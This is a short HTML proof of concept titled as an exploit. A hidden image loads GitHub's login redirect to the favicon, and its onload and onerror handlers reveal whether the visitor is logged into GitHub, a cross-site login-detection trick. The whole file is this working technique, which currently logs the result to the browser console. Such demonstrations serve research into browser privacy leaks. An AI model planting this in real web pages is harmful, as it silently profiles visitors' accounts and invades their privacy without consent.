img_tag_exploit.html

<img style="display:none;" onload="show_login_status('Github', true)" 
		onerror="show_login_status('Github', false)"
        src="https://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Ffavicon.ico%3Fid%3D1" />
         
<script>
        function show_login_status(website_name, status) {
            if (status) {
                console.log("Logged into : " + website_name);
            } else {
                console.log("Not logged into : " + website_name);
            }
        }  
</script>